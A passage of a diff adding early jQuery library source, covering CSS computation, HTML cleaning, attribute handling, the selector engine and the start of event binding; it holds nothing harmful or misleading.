+                               // Locate all of the parent display: none elements
+                               for ( var a = elem; a && color(a); a = a.parentNode )
+                                       stack.unshift(a);
+
+                               // Go through and make them visible, but in reverse
+                               // (It would be better if we knew the exact display type that they had)
+                               for ( var i = 0; i < stack.length; i++ )
+                                       if ( color( stack[ i ] ) ) {
+                                               swap[ i ] = stack[ i ].style.display;
+                                               stack[ i ].style.display = "block";
+                                       }
+
+                               // Since we flip the display style, we have to handle that
+                               // one special, otherwise get the value
+                               ret = name == "display" && swap[ stack.length - 1 ] != null ?
+                                       "none" :
+                                       ( getComputedStyle && getComputedStyle.getPropertyValue( name ) ) || "";
+
+                               // Finally, revert the display styles back
+                               for ( var i = 0; i < swap.length; i++ )
+                                       if ( swap[ i ] != null )
+                                               stack[ i ].style.display = swap[ i ];
+                       }
+
+                       // We should always get a number back from opacity
+                       if ( name == "opacity" && ret == "" )
+                               ret = "1";
+
+               } else if ( elem.currentStyle ) {
+                       var camelCase = name.replace(/\-(\w)/g, function(all, letter){
+                               return letter.toUpperCase();
+                       });
+
+                       ret = elem.currentStyle[ name ] || elem.currentStyle[ camelCase ];
+
+                       // From the awesome hack by Dean Edwards
+                       // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
+
+                       // If we're not dealing with a regular pixel number
+                       // but a number that has a weird ending, we need to convert it to pixels
+                       if ( !/^\d+(px)?$/i.test( ret ) && /^\d/.test( ret ) ) {
+                               // Remember the original values
+                               var style = elem.style.left, runtimeStyle = elem.runtimeStyle.left;
+
+                               // Put in the new values to get a computed value out
+                               elem.runtimeStyle.left = elem.currentStyle.left;
+                               elem.style.left = ret || 0;
+                               ret = elem.style.pixelLeft + "px";
+
+                               // Revert the changed values
+                               elem.style.left = style;
+                               elem.runtimeStyle.left = runtimeStyle;
+                       }
+               }
+
+               return ret;
+       },
+       
+       clean: function( elems, context ) {
+               var ret = [];
+               context = context || document;
+               // !context.createElement fails in IE with an error but returns typeof 'object'
+               if (typeof context.createElement == 'undefined') 
+                       context = context.ownerDocument || context[0] && context[0].ownerDocument || document;
+
+               jQuery.each(elems, function(i, elem){
+                       if ( !elem )
+                               return;
+
+                       if ( elem.constructor == Number )
+                               elem = elem.toString();
+                       
+                       // Convert html string into DOM nodes
+                       if ( typeof elem == "string" ) {
+                               // Fix "XHTML"-style tags in all browsers
+                               elem = elem.replace(/(<(\w+)[^>]*?)\/>/g, function(all, front, tag){
+                                       return tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i) ?
+                                               all :
+                                               front + "></" + tag + ">";
+                               });
+
+                               // Trim whitespace, otherwise indexOf won't work as expected
+                               var tags = jQuery.trim( elem ).toLowerCase(), div = context.createElement("div");
+
+                               var wrap =
+                                       // option or optgroup
+                                       !tags.indexOf("<opt") &&
+                                       [ 1, "<select multiple='multiple'>", "</select>" ] ||
+                                       
+                                       !tags.indexOf("<leg") &&
+                                       [ 1, "<fieldset>", "</fieldset>" ] ||
+                                       
+                                       tags.match(/^<(thead|tbody|tfoot|colg|cap)/) &&
+                                       [ 1, "<table>", "</table>" ] ||
+                                       
+                                       !tags.indexOf("<tr") &&
+                                       [ 2, "<table><tbody>", "</tbody></table>" ] ||
+                                       
+                                       // <thead> matched above
+                                       (!tags.indexOf("<td") || !tags.indexOf("<th")) &&
+                                       [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ] ||
+                                       
+                                       !tags.indexOf("<col") &&
+                                       [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ] ||
+
+                                       // IE can't serialize <link> and <script> tags normally
+                                       jQuery.browser.msie &&
+                                       [ 1, "div<div>", "</div>" ] ||
+                                       
+                                       [ 0, "", "" ];
+
+                               // Go to html and back, then peel off extra wrappers
+                               div.innerHTML = wrap[1] + elem + wrap[2];
+                               
+                               // Move to the right depth
+                               while ( wrap[0]-- )
+                                       div = div.lastChild;
+                               
+                               // Remove IE's autoinserted <tbody> from table fragments
+                               if ( jQuery.browser.msie ) {
+                                       
+                                       // String was a <table>, *may* have spurious <tbody>
+                                       var tbody = !tags.indexOf("<table") && tags.indexOf("<tbody") < 0 ?
+                                               div.firstChild && div.firstChild.childNodes :
+                                               
+                                               // String was a bare <thead> or <tfoot>
+                                               wrap[1] == "<table>" && tags.indexOf("<tbody") < 0 ?
+                                                       div.childNodes :
+                                                       [];
+                               
+                                       for ( var j = tbody.length - 1; j >= 0 ; --j )
+                                               if ( jQuery.nodeName( tbody[ j ], "tbody" ) && !tbody[ j ].childNodes.length )
+                                                       tbody[ j ].parentNode.removeChild( tbody[ j ] );
+                                       
+                                       // IE completely kills leading whitespace when innerHTML is used        
+                                       if ( /^\s/.test( elem ) )       
+                                               div.insertBefore( context.createTextNode( elem.match(/^\s*/)[0] ), div.firstChild );
+                               
+                               }
+                               
+                               elem = jQuery.makeArray( div.childNodes );
+                       }
+
+                       if ( elem.length === 0 && (!jQuery.nodeName( elem, "form" ) && !jQuery.nodeName( elem, "select" )) )
+                               return;
+
+                       if ( elem[0] == undefined || jQuery.nodeName( elem, "form" ) || elem.options )
+                               ret.push( elem );
+
+                       else
+                               ret = jQuery.merge( ret, elem );
+
+               });
+
+               return ret;
+       },
+       
+       attr: function( elem, name, value ) {
+               // don't set attributes on text and comment nodes
+               if (!elem || elem.nodeType == 3 || elem.nodeType == 8)
+                       return undefined;
+
+               var fix = jQuery.isXMLDoc( elem ) ?
+                       {} :
+                       jQuery.props;
+
+               // Safari mis-reports the default selected property of a hidden option
+               // Accessing the parent's selectedIndex property fixes it
+               if ( name == "selected" && jQuery.browser.safari )
+                       elem.parentNode.selectedIndex;
+               
+               // Certain attributes only work when accessed via the old DOM 0 way
+               if ( fix[ name ] ) {
+                       if ( value != undefined )
+                               elem[ fix[ name ] ] = value;
+
+                       return elem[ fix[ name ] ];
+
+               } else if ( jQuery.browser.msie && name == "style" )
+                       return jQuery.attr( elem.style, "cssText", value );
+
+               else if ( value == undefined && jQuery.browser.msie && jQuery.nodeName( elem, "form" ) && (name == "action" || name == "method") )
+                       return elem.getAttributeNode( name ).nodeValue;
+
+               // IE elem.getAttribute passes even for style
+               else if ( elem.tagName ) {
+
+                       if ( value != undefined ) {
+                               // We can't allow the type property to be changed (since it causes problems in IE)
+                               if ( name == "type" && jQuery.nodeName( elem, "input" ) && elem.parentNode )
+                                       throw "type property can't be changed";
+
+                               // convert the value to a string (all browsers do this but IE) see #1070
+                               elem.setAttribute( name, "" + value );
+                       }
+
+                       if ( jQuery.browser.msie && /href|src/.test( name ) && !jQuery.isXMLDoc( elem ) ) 
+                               return elem.getAttribute( name, 2 );
+
+                       return elem.getAttribute( name );
+
+               // elem is actually elem.style ... set the style
+               } else {
+                       // IE actually uses filters for opacity
+                       if ( name == "opacity" && jQuery.browser.msie ) {
+                               if ( value != undefined ) {
+                                       // IE has trouble with opacity if it does not have layout
+                                       // Force it by setting the zoom level
+                                       elem.zoom = 1; 
+       
+                                       // Set the alpha filter to set the opacity
+                                       elem.filter = (elem.filter || "").replace( /alpha\([^)]*\)/, "" ) +
+                                               (parseFloat( value ).toString() == "NaN" ? "" : "alpha(opacity=" + value * 100 + ")");
+                               }
+       
+                               return elem.filter && elem.filter.indexOf("opacity=") >= 0 ?
+                                       (parseFloat( elem.filter.match(/opacity=([^)]*)/)[1] ) / 100).toString() :
+                                       "";
+                       }
+
+                       name = name.replace(/-([a-z])/ig, function(all, letter){
+                               return letter.toUpperCase();
+                       });
+
+                       if ( value != undefined )
+                               elem[ name ] = value;
+
+                       return elem[ name ];
+               }
+       },
+       
+       trim: function( text ) {
+               return (text || "").replace( /^\s+|\s+$/g, "" );
+       },
+
+       makeArray: function( array ) {
+               var ret = [];
+
+               // Need to use typeof to fight Safari childNodes crashes
+               if ( typeof array != "array" )
+                       for ( var i = 0, length = array.length; i < length; i++ )
+                               ret.push( array[ i ] );
+               else
+                       ret = array.slice( 0 );
+
+               return ret;
+       },
+
+       inArray: function( elem, array ) {
+               for ( var i = 0, length = array.length; i < length; i++ )
+                       if ( array[ i ] == elem )
+                               return i;
+
+               return -1;
+       },
+
+       merge: function( first, second ) {
+               // We have to loop this way because IE & Opera overwrite the length
+               // expando of getElementsByTagName
+
+               // Also, we need to make sure that the correct elements are being returned
+               // (IE returns comment nodes in a '*' query)
+               if ( jQuery.browser.msie ) {
+                       for ( var i = 0; second[ i ]; i++ )
+                               if ( second[ i ].nodeType != 8 )
+                                       first.push( second[ i ] );
+
+               } else
+                       for ( var i = 0; second[ i ]; i++ )
+                               first.push( second[ i ] );
+
+               return first;
+       },
+
+       unique: function( array ) {
+               var ret = [], done = {};
+
+               try {
+
+                       for ( var i = 0, length = array.length; i < length; i++ ) {
+                               var id = jQuery.data( array[ i ] );
+
+                               if ( !done[ id ] ) {
+                                       done[ id ] = true;
+                                       ret.push( array[ i ] );
+                               }
+                       }
+
+               } catch( e ) {
+                       ret = array;
+               }
+
+               return ret;
+       },
+
+       grep: function( elems, callback, inv ) {
+               var ret = [];
+
+               // Go through the array, only saving the items
+               // that pass the validator function
+               for ( var i = 0, length = elems.length; i < length; i++ )
+                       if ( !inv && callback( elems[ i ], i ) || inv && !callback( elems[ i ], i ) )
+                               ret.push( elems[ i ] );
+
+               return ret;
+       },
+
+       map: function( elems, callback ) {
+               var ret = [];
+
+               // Go through the array, translating each of the items to their
+               // new value (or values).
+               for ( var i = 0, length = elems.length; i < length; i++ ) {
+                       var value = callback( elems[ i ], i );
+
+                       if ( value !== null && value != undefined ) {
+                               if ( value.constructor != Array )
+                                       value = [ value ];
+
+                               ret = ret.concat( value );
+                       }
+               }
+
+               return ret;
+       }
+});
+
+var userAgent = navigator.userAgent.toLowerCase();
+
+// Figure out what browser is being used
+jQuery.browser = {
+       version: (userAgent.match( /.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/ ) || [])[1],
+       safari: /webkit/.test( userAgent ),
+       opera: /opera/.test( userAgent ),
+       msie: /msie/.test( userAgent ) && !/opera/.test( userAgent ),
+       mozilla: /mozilla/.test( userAgent ) && !/(compatible|webkit)/.test( userAgent )
+};
+
+var styleFloat = jQuery.browser.msie ?
+       "styleFloat" :
+       "cssFloat";
+       
+jQuery.extend({
+       // Check to see if the W3C box model is being used
+       boxModel: !jQuery.browser.msie || document.compatMode == "CSS1Compat",
+       
+       props: {
+               "for": "htmlFor",
+               "class": "className",
+               "float": styleFloat,
+               cssFloat: styleFloat,
+               styleFloat: styleFloat,
+               innerHTML: "innerHTML",
+               className: "className",
+               value: "value",
+               disabled: "disabled",
+               checked: "checked",
+               readonly: "readOnly",
+               selected: "selected",
+               maxlength: "maxLength",
+               selectedIndex: "selectedIndex",
+               defaultValue: "defaultValue",
+               tagName: "tagName",
+               nodeName: "nodeName"
+       }
+});
+
+jQuery.each({
+       parent: function(elem){return elem.parentNode;},
+       parents: function(elem){return jQuery.dir(elem,"parentNode");},
+       next: function(elem){return jQuery.nth(elem,2,"nextSibling");},
+       prev: function(elem){return jQuery.nth(elem,2,"previousSibling");},
+       nextAll: function(elem){return jQuery.dir(elem,"nextSibling");},
+       prevAll: function(elem){return jQuery.dir(elem,"previousSibling");},
+       siblings: function(elem){return jQuery.sibling(elem.parentNode.firstChild,elem);},
+       children: function(elem){return jQuery.sibling(elem.firstChild);},
+       contents: function(elem){return jQuery.nodeName(elem,"iframe")?elem.contentDocument||elem.contentWindow.document:jQuery.makeArray(elem.childNodes);}
+}, function(name, fn){
+       jQuery.fn[ name ] = function( selector ) {
+               var ret = jQuery.map( this, fn );
+
+               if ( selector && typeof selector == "string" )
+                       ret = jQuery.multiFilter( selector, ret );
+
+               return this.pushStack( jQuery.unique( ret ) );
+       };
+});
+
+jQuery.each({
+       appendTo: "append",
+       prependTo: "prepend",
+       insertBefore: "before",
+       insertAfter: "after",
+       replaceAll: "replaceWith"
+}, function(name, original){
+       jQuery.fn[ name ] = function() {
+               var args = arguments;
+
+               return this.each(function(){
+                       for ( var i = 0, length = args.length; i < length; i++ )
+                               jQuery( args[ i ] )[ original ]( this );
+               });
+       };
+});
+
+jQuery.each({
+       removeAttr: function( name ) {
+               jQuery.attr( this, name, "" );
+               if (this.nodeType == 1) 
+                       this.removeAttribute( name );
+       },
+
+       addClass: function( classNames ) {
+               jQuery.className.add( this, classNames );
+       },
+
+       removeClass: function( classNames ) {
+               jQuery.className.remove( this, classNames );
+       },
+
+       toggleClass: function( classNames ) {
+               jQuery.className[ jQuery.className.has( this, classNames ) ? "remove" : "add" ]( this, classNames );
+       },
+
+       remove: function( selector ) {
+               if ( !selector || jQuery.filter( selector, [ this ] ).r.length ) {
+                       // Prevent memory leaks
+                       jQuery( "*", this ).add(this).each(function(){
+                               jQuery.event.remove(this);
+                               jQuery.removeData(this);
+                       });
+                       if (this.parentNode)
+                               this.parentNode.removeChild( this );
+               }
+       },
+
+       empty: function() {
+               // Remove element nodes and prevent memory leaks
+               jQuery( ">*", this ).remove();
+               
+               // Remove any remaining nodes
+               while ( this.firstChild )
+                       this.removeChild( this.firstChild );
+       }
+}, function(name, fn){
+       jQuery.fn[ name ] = function(){
+               return this.each( fn, arguments );
+       };
+});
+
+jQuery.each([ "Height", "Width" ], function(i, name){
+       var type = name.toLowerCase();
+       
+       jQuery.fn[ type ] = function( size ) {
+               // Get window width or height
+               return this[0] == window ?
+                       // Opera reports document.body.client[Width/Height] properly in both quirks and standards
+                       jQuery.browser.opera && document.body[ "client" + name ] || 
+                       
+                       // Safari reports inner[Width/Height] just fine (Mozilla and Opera include scroll bar widths)
+                       jQuery.browser.safari && window[ "inner" + name ] ||
+                       
+                       // Everyone else use document.documentElement or document.body depending on Quirks vs Standards mode
+                       document.compatMode == "CSS1Compat" && document.documentElement[ "client" + name ] || document.body[ "client" + name ] :
+               
+                       // Get document width or height
+                       this[0] == document ?
+                               // Either scroll[Width/Height] or offset[Width/Height], whichever is greater
+                               Math.max( 
+                                       Math.max(document.body["scroll" + name], document.documentElement["scroll" + name]), 
+                                       Math.max(document.body["offset" + name], document.documentElement["offset" + name]) 
+                               ) :
+
+                               // Get or set width or height on the element
+                               size == undefined ?
+                                       // Get width or height on the element
+                                       (this.length ? jQuery.css( this[0], type ) : null) :
+
+                                       // Set the width or height on the element (default to pixels if value is unitless)
+                                       this.css( type, size.constructor == String ? size : size + "px" );
+       };
+});
+
+var chars = jQuery.browser.safari && parseInt(jQuery.browser.version) < 417 ?
+               "(?:[\\w*_-]|\\\\.)" :
+               "(?:[\\w\u0128-\uFFFF*_-]|\\\\.)",
+       quickChild = new RegExp("^>\\s*(" + chars + "+)"),
+       quickID = new RegExp("^(" + chars + "+)(#)(" + chars + "+)"),
+       quickClass = new RegExp("^([#.]?)(" + chars + "*)");
+
+jQuery.extend({
+       expr: {
+               "": function(a,i,m){return m[2]=="*"||jQuery.nodeName(a,m[2]);},
+               "#": function(a,i,m){return a.getAttribute("id")==m[2];},
+               ":": {
+                       // Position Checks
+                       lt: function(a,i,m){return i<m[3]-0;},
+                       gt: function(a,i,m){return i>m[3]-0;},
+                       nth: function(a,i,m){return m[3]-0==i;},
+                       eq: function(a,i,m){return m[3]-0==i;},
+                       first: function(a,i){return i==0;},
+                       last: function(a,i,m,r){return i==r.length-1;},
+                       even: function(a,i){return i%2==0;},
+                       odd: function(a,i){return i%2;},
+
+                       // Child Checks
+                       "first-child": function(a){return a.parentNode.getElementsByTagName("*")[0]==a;},
+                       "last-child": function(a){return jQuery.nth(a.parentNode.lastChild,1,"previousSibling")==a;},
+                       "only-child": function(a){return !jQuery.nth(a.parentNode.lastChild,2,"previousSibling");},
+
+                       // Parent Checks
+                       parent: function(a){return a.firstChild;},
+                       empty: function(a){return !a.firstChild;},
+
+                       // Text Check
+                       contains: function(a,i,m){return (a.textContent||a.innerText||jQuery(a).text()||"").indexOf(m[3])>=0;},
+
+                       // Visibility
+                       visible: function(a){return "hidden"!=a.type&&jQuery.css(a,"display")!="none"&&jQuery.css(a,"visibility")!="hidden";},
+                       hidden: function(a){return "hidden"==a.type||jQuery.css(a,"display")=="none"||jQuery.css(a,"visibility")=="hidden";},
+
+                       // Form attributes
+                       enabled: function(a){return !a.disabled;},
+                       disabled: function(a){return a.disabled;},
+                       checked: function(a){return a.checked;},
+                       selected: function(a){return a.selected||jQuery.attr(a,"selected");},
+
+                       // Form elements
+                       text: function(a){return "text"==a.type;},
+                       radio: function(a){return "radio"==a.type;},
+                       checkbox: function(a){return "checkbox"==a.type;},
+                       file: function(a){return "file"==a.type;},
+                       password: function(a){return "password"==a.type;},
+                       submit: function(a){return "submit"==a.type;},
+                       image: function(a){return "image"==a.type;},
+                       reset: function(a){return "reset"==a.type;},
+                       button: function(a){return "button"==a.type||jQuery.nodeName(a,"button");},
+                       input: function(a){return /input|select|textarea|button/i.test(a.nodeName);},
+
+                       // :has()
+                       has: function(a,i,m){return jQuery.find(m[3],a).length;},
+
+                       // :header
+                       header: function(a){return /h\d/i.test(a.nodeName);},
+
+                       // :animated
+                       animated: function(a){return jQuery.grep(jQuery.timers,function(fn){return a==fn.elem;}).length;}
+               }
+       },
+       
+       // The regular expressions that power the parsing engine
+       parse: [
+               // Match: [@value='test'], [@foo]
+               /^(\[) *@?([\w-]+) *([!*$^~=]*) *('?"?)(.*?)\4 *\]/,
+
+               // Match: :contains('foo')
+               /^(:)([\w-]+)\("?'?(.*?(\(.*?\))?[^(]*?)"?'?\)/,
+
+               // Match: :even, :last-chlid, #id, .class
+               new RegExp("^([:.#]*)(" + chars + "+)")
+       ],
+
+       multiFilter: function( expr, elems, not ) {
+               var old, cur = [];
+
+               while ( expr && expr != old ) {
+                       old = expr;
+                       var f = jQuery.filter( expr, elems, not );
+                       expr = f.t.replace(/^\s*,\s*/, "" );
+                       cur = not ? elems = f.r : jQuery.merge( cur, f.r );
+               }
+
+               return cur;
+       },
+
+       find: function( t, context ) {
+               // Quickly handle non-string expressions
+               if ( typeof t != "string" )
+                       return [ t ];
+
+               // check to make sure context is a DOM element or a document
+               if ( context && context.nodeType != 1 && context.nodeType != 9)
+                       return [ ];
+
+               // Set the correct context (if none is provided)
+               context = context || document;
+
+               // Initialize the search
+               var ret = [context], done = [], last, nodeName;
+
+               // Continue while a selector expression exists, and while
+               // we're no longer looping upon ourselves
+               while ( t && last != t ) {
+                       var r = [];
+                       last = t;
+
+                       t = jQuery.trim(t);
+
+                       var foundToken = false;
+
+                       // An attempt at speeding up child selectors that
+                       // point to a specific element tag
+                       var re = quickChild;
+                       var m = re.exec(t);
+
+                       if ( m ) {
+                               nodeName = m[1].toUpperCase();
+
+                               // Perform our own iteration and filter
+                               for ( var i = 0; ret[i]; i++ )
+                                       for ( var c = ret[i].firstChild; c; c = c.nextSibling )
+                                               if ( c.nodeType == 1 && (nodeName == "*" || c.nodeName.toUpperCase() == nodeName) )
+                                                       r.push( c );
+
+                               ret = r;
+                               t = t.replace( re, "" );
+                               if ( t.indexOf(" ") == 0 ) continue;
+                               foundToken = true;
+                       } else {
+                               re = /^([>+~])\s*(\w*)/i;
+
+                               if ( (m = re.exec(t)) != null ) {
+                                       r = [];
+
+                                       var merge = {};
+                                       nodeName = m[2].toUpperCase();
+                                       m = m[1];
+
+                                       for ( var j = 0, rl = ret.length; j < rl; j++ ) {
+                                               var n = m == "~" || m == "+" ? ret[j].nextSibling : ret[j].firstChild;
+                                               for ( ; n; n = n.nextSibling )
+                                                       if ( n.nodeType == 1 ) {
+                                                               var id = jQuery.data(n);
+
+                                                               if ( m == "~" && merge[id] ) break;
+                                                               
+                                                               if (!nodeName || n.nodeName.toUpperCase() == nodeName ) {
+                                                                       if ( m == "~" ) merge[id] = true;
+                                                                       r.push( n );
+                                                               }
+                                                               
+                                                               if ( m == "+" ) break;
+                                                       }
+                                       }
+
+                                       ret = r;
+
+                                       // And remove the token
+                                       t = jQuery.trim( t.replace( re, "" ) );
+                                       foundToken = true;
+                               }
+                       }
+
+                       // See if there's still an expression, and that we haven't already
+                       // matched a token
+                       if ( t && !foundToken ) {
+                               // Handle multiple expressions
+                               if ( !t.indexOf(",") ) {
+                                       // Clean the result set
+                                       if ( context == ret[0] ) ret.shift();
+
+                                       // Merge the result sets
+                                       done = jQuery.merge( done, ret );
+
+                                       // Reset the context
+                                       r = ret = [context];
+
+                                       // Touch up the selector string
+                                       t = " " + t.substr(1,t.length);
+
+                               } else {
+                                       // Optimize for the case nodeName#idName
+                                       var re2 = quickID;
+                                       var m = re2.exec(t);
+                                       
+                                       // Re-organize the results, so that they're consistent
+                                       if ( m ) {
+                                               m = [ 0, m[2], m[3], m[1] ];
+
+                                       } else {
+                                               // Otherwise, do a traditional filter check for
+                                               // ID, class, and element selectors
+                                               re2 = quickClass;
+                                               m = re2.exec(t);
+                                       }
+
+                                       m[2] = m[2].replace(/\\/g, "");
+
+                                       var elem = ret[ret.length-1];
+
+                                       // Try to do a global search by ID, where we can
+                                       if ( m[1] == "#" && elem && elem.getElementById && !jQuery.isXMLDoc(elem) ) {
+                                               // Optimization for HTML document case
+                                               var oid = elem.getElementById(m[2]);
+                                               
+                                               // Do a quick check for the existence of the actual ID attribute
+                                               // to avoid selecting by the name attribute in IE
+                                               // also check to insure id is a string to avoid selecting an element with the name of 'id' inside a form
+                                               if ( (jQuery.browser.msie||jQuery.browser.opera) && oid && typeof oid.id == "string" && oid.id != m[2] )
+                                                       oid = jQuery('[@id="'+m[2]+'"]', elem)[0];
+
+                                               // Do a quick check for node name (where applicable) so
+                                               // that div#foo searches will be really fast
+                                               ret = r = oid && (!m[3] || jQuery.nodeName(oid, m[3])) ? [oid] : [];
+                                       } else {
+                                               // We need to find all descendant elements
+                                               for ( var i = 0; ret[i]; i++ ) {
+                                                       // Grab the tag name being searched for
+                                                       var tag = m[1] == "#" && m[3] ? m[3] : m[1] != "" || m[0] == "" ? "*" : m[2];
+
+                                                       // Handle IE7 being really dumb about <object>s
+                                                       if ( tag == "*" && ret[i].nodeName.toLowerCase() == "object" )
+                                                               tag = "param";
+
+                                                       r = jQuery.merge( r, ret[i].getElementsByTagName( tag ));
+                                               }
+
+                                               // It's faster to filter by class and be done with it
+                                               if ( m[1] == "." )
+                                                       r = jQuery.classFilter( r, m[2] );
+
+                                               // Same with ID filtering
+                                               if ( m[1] == "#" ) {
+                                                       var tmp = [];
+
+                                                       // Try to find the element with the ID
+                                                       for ( var i = 0; r[i]; i++ )
+                                                               if ( r[i].getAttribute("id") == m[2] ) {
+                                                                       tmp = [ r[i] ];
+                                                                       break;
+                                                               }
+
+                                                       r = tmp;
+                                               }
+
+                                               ret = r;
+                                       }
+
+                                       t = t.replace( re2, "" );
+                               }
+
+                       }
+
+                       // If a selector string still exists
+                       if ( t ) {
+                               // Attempt to filter it
+                               var val = jQuery.filter(t,r);
+                               ret = r = val.r;
+                               t = jQuery.trim(val.t);
+                       }
+               }
+
+               // An error occurred with the selector;
+               // just return an empty set instead
+               if ( t )
+                       ret = [];
+
+               // Remove the root context
+               if ( ret && context == ret[0] )
+                       ret.shift();
+
+               // And combine the results
+               done = jQuery.merge( done, ret );
+
+               return done;
+       },
+
+       classFilter: function(r,m,not){
+               m = " " + m + " ";
+               var tmp = [];
+               for ( var i = 0; r[i]; i++ ) {
+                       var pass = (" " + r[i].className + " ").indexOf( m ) >= 0;
+                       if ( !not && pass || not && !pass )
+                               tmp.push( r[i] );
+               }
+               return tmp;
+       },
+
+       filter: function(t,r,not) {
+               var last;
+
+               // Look for common filter expressions
+               while ( t && t != last ) {
+                       last = t;
+
+                       var p = jQuery.parse, m;
+
+                       for ( var i = 0; p[i]; i++ ) {
+                               m = p[i].exec( t );
+
+                               if ( m ) {
+                                       // Remove what we just matched
+                                       t = t.substring( m[0].length );
+
+                                       m[2] = m[2].replace(/\\/g, "");
+                                       break;
+                               }
+                       }
+
+                       if ( !m )
+                               break;
+
+                       // :not() is a special case that can be optimized by
+                       // keeping it out of the expression list
+                       if ( m[1] == ":" && m[2] == "not" )
+                               // optimize if only one selector found (most common case)
+                               r = isSimple.test( m[3] ) ?
+                                       jQuery.filter(m[3], r, true).r :
+                                       jQuery( r ).not( m[3] );
+
+                       // We can get a big speed boost by filtering by class here
+                       else if ( m[1] == "." )
+                               r = jQuery.classFilter(r, m[2], not);
+
+                       else if ( m[1] == "[" ) {
+                               var tmp = [], type = m[3];
+                               
+                               for ( var i = 0, rl = r.length; i < rl; i++ ) {
+                                       var a = r[i], z = a[ jQuery.props[m[2]] || m[2] ];
+                                       
+                                       if ( z == null || /href|src|selected/.test(m[2]) )
+                                               z = jQuery.attr(a,m[2]) || '';
+
+                                       if ( (type == "" && !!z ||
+                                                type == "=" && z == m[5] ||
+                                                type == "!=" && z != m[5] ||
+                                                type == "^=" && z && !z.indexOf(m[5]) ||
+                                                type == "$=" && z.substr(z.length - m[5].length) == m[5] ||
+                                                (type == "*=" || type == "~=") && z.indexOf(m[5]) >= 0) ^ not )
+                                                       tmp.push( a );
+                               }
+                               
+                               r = tmp;
+
+                       // We can get a speed boost by handling nth-child here
+                       } else if ( m[1] == ":" && m[2] == "nth-child" ) {
+                               var merge = {}, tmp = [],
+                                       // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
+                                       test = /(-?)(\d*)n((?:\+|-)?\d*)/.exec(
+                                               m[3] == "even" && "2n" || m[3] == "odd" && "2n+1" ||
+                                               !/\D/.test(m[3]) && "0n+" + m[3] || m[3]),
+                                       // calculate the numbers (first)n+(last) including if they are negative
+                                       first = (test[1] + (test[2] || 1)) - 0, last = test[3] - 0;
+                               // loop through all the elements left in the jQuery object
+                               for ( var i = 0, rl = r.length; i < rl; i++ ) {
+                                       var node = r[i], parentNode = node.parentNode, id = jQuery.data(parentNode);
+
+                                       if ( !merge[id] ) {
+                                               var c = 1;
+
+                                               for ( var n = parentNode.firstChild; n; n = n.nextSibling )
+                                                       if ( n.nodeType == 1 )
+                                                               n.nodeIndex = c++;
+
+                                               merge[id] = true;
+                                       }
+
+                                       var add = false;
+
+                                       if ( first == 0 ) {
+                                               if ( node.nodeIndex == last )
+                                                       add = true;
+                                       } else if ( (node.nodeIndex - last) % first == 0 && (node.nodeIndex - last) / first >= 0 )
+                                               add = true;
+
+                                       if ( add ^ not )
+                                               tmp.push( node );
+                               }
+
+                               r = tmp;
+
+                       // Otherwise, find the expression to execute
+                       } else {
+                               var fn = jQuery.expr[ m[1] ];
+                               if ( typeof fn == "object" )
+                                       fn = fn[ m[2] ];
+
+                               if ( typeof fn == "string" )
+                                       fn = eval("false||function(a,i){return " + fn + ";}");
+
+                               // Execute it against the current filter
+                               r = jQuery.grep( r, function(elem, i){
+                                       return fn(elem, i, m, r);
+                               }, not );
+                       }
+               }
+
+               // Return an array of filtered elements (r)
+               // and the modified expression string (t)
+               return { r: r, t: t };
+       },
+
+       dir: function( elem, dir ){
+               var matched = [];
+               var cur = elem[dir];
+               while ( cur && cur != document ) {
+                       if ( cur.nodeType == 1 )
+                               matched.push( cur );
+                       cur = cur[dir];
+               }
+               return matched;
+       },
+       
+       nth: function(cur,result,dir,elem){
+               result = result || 1;
+               var num = 0;
+
+               for ( ; cur; cur = cur[dir] )
+                       if ( cur.nodeType == 1 && ++num == result )
+                               break;
+
+               return cur;
+       },
+       
+       sibling: function( n, elem ) {
+               var r = [];
+
+               for ( ; n; n = n.nextSibling ) {
+                       if ( n.nodeType == 1 && (!elem || n != elem) )
+                               r.push( n );
+               }
+
+               return r;
+       }
+});
+
+/*
+ * A number of helper functions used for managing events.
+ * Many of the ideas behind this code orignated from 
+ * Dean Edwards' addEvent library.
+ */
+jQuery.event = {
+
+       // Bind an event to an element
+       // Original by Dean Edwards
+       add: function(elem, types, handler, data) {
+               if ( elem.nodeType == 3 || elem.nodeType == 8 )
+                       return;
+
+               // For whatever reason, IE has trouble passing the window object
+               // around, causing it to be cloned in the process
+               if ( jQuery.browser.msie && elem.setInterval != undefined )
+                       elem = window;
+
+               // Make sure that the function being executed has a unique ID
+               if ( !handler.guid )
+                       handler.guid = this.guid++;
+                       
+               // if data is passed, bind to handler 
+               if( data != undefined ) { 
+                       // Create temporary function pointer to original handler 
+                       var fn = handler; 
+
+                       // Create unique handler function, wrapped around original handler 
+                       handler = function() { 
+                               // Pass arguments and context to original handler 
+                               return fn.apply(this, arguments); 
+                       };
+
+                       // Store data in unique handler 
+                       handler.data = data;
+
+                       // Set the guid of unique handler to the same of original handler, so it can be removed 
+                       handler.guid = fn.guid;
+               }
+
+               // Init the element's event structure
+               var events = jQuery.data(elem, "events") || jQuery.data(elem, "events", {}),
+                       handle = jQuery.data(elem, "handle") || jQuery.data(elem, "handle", function(){
+                               // returned undefined or false
+                               var val;
+
+                               // Handle the second event of a trigger and when
+                               // an event is called after a page has unloaded
+                               if ( typeof jQuery == "undefined" || jQuery.event.triggered )
+                                       return val;
+               
+                               val = jQuery.event.handle.apply(arguments.callee.elem, arguments);
+               
+                               return val;
+                       });
+               // Add elem as a property of the handle function
+               // This is to prevent a memory leak with non-native
+               // event in IE.
+               handle.elem = elem;
+                       
+                       // Handle multiple events seperated by a space
+                       // jQuery(...).bind("mouseover mouseout", fn);
+                       jQuery.each(types.split(/\s+/), function(index, type) {
+                               // Namespaced event handlers
+                               var parts = type.split(".");
+                               type = parts[0];
+                               handler.type = parts[1];
+
+                               // Get the current list of functions bound to this event
+                               var handlers = events[type];
+
+                               // Init the event handler queue
+                               if (!handlers) {
+                                       handlers = events[type] = {};
+               
+                                       // Check for a special event handler
+                                       // Only use addEventListener/attachEvent if the special
+                                       // events handler returns false
+                                       if ( !jQuery.event.special[type] || jQuery.event.special[type].setup.call(elem) === false ) {
+                                               // Bind the global event handler to the element
+                                               if (elem.addEventListener)
+                                                       elem.addEventListener(type, handle, false);
+                                               else if (elem.attachEvent)
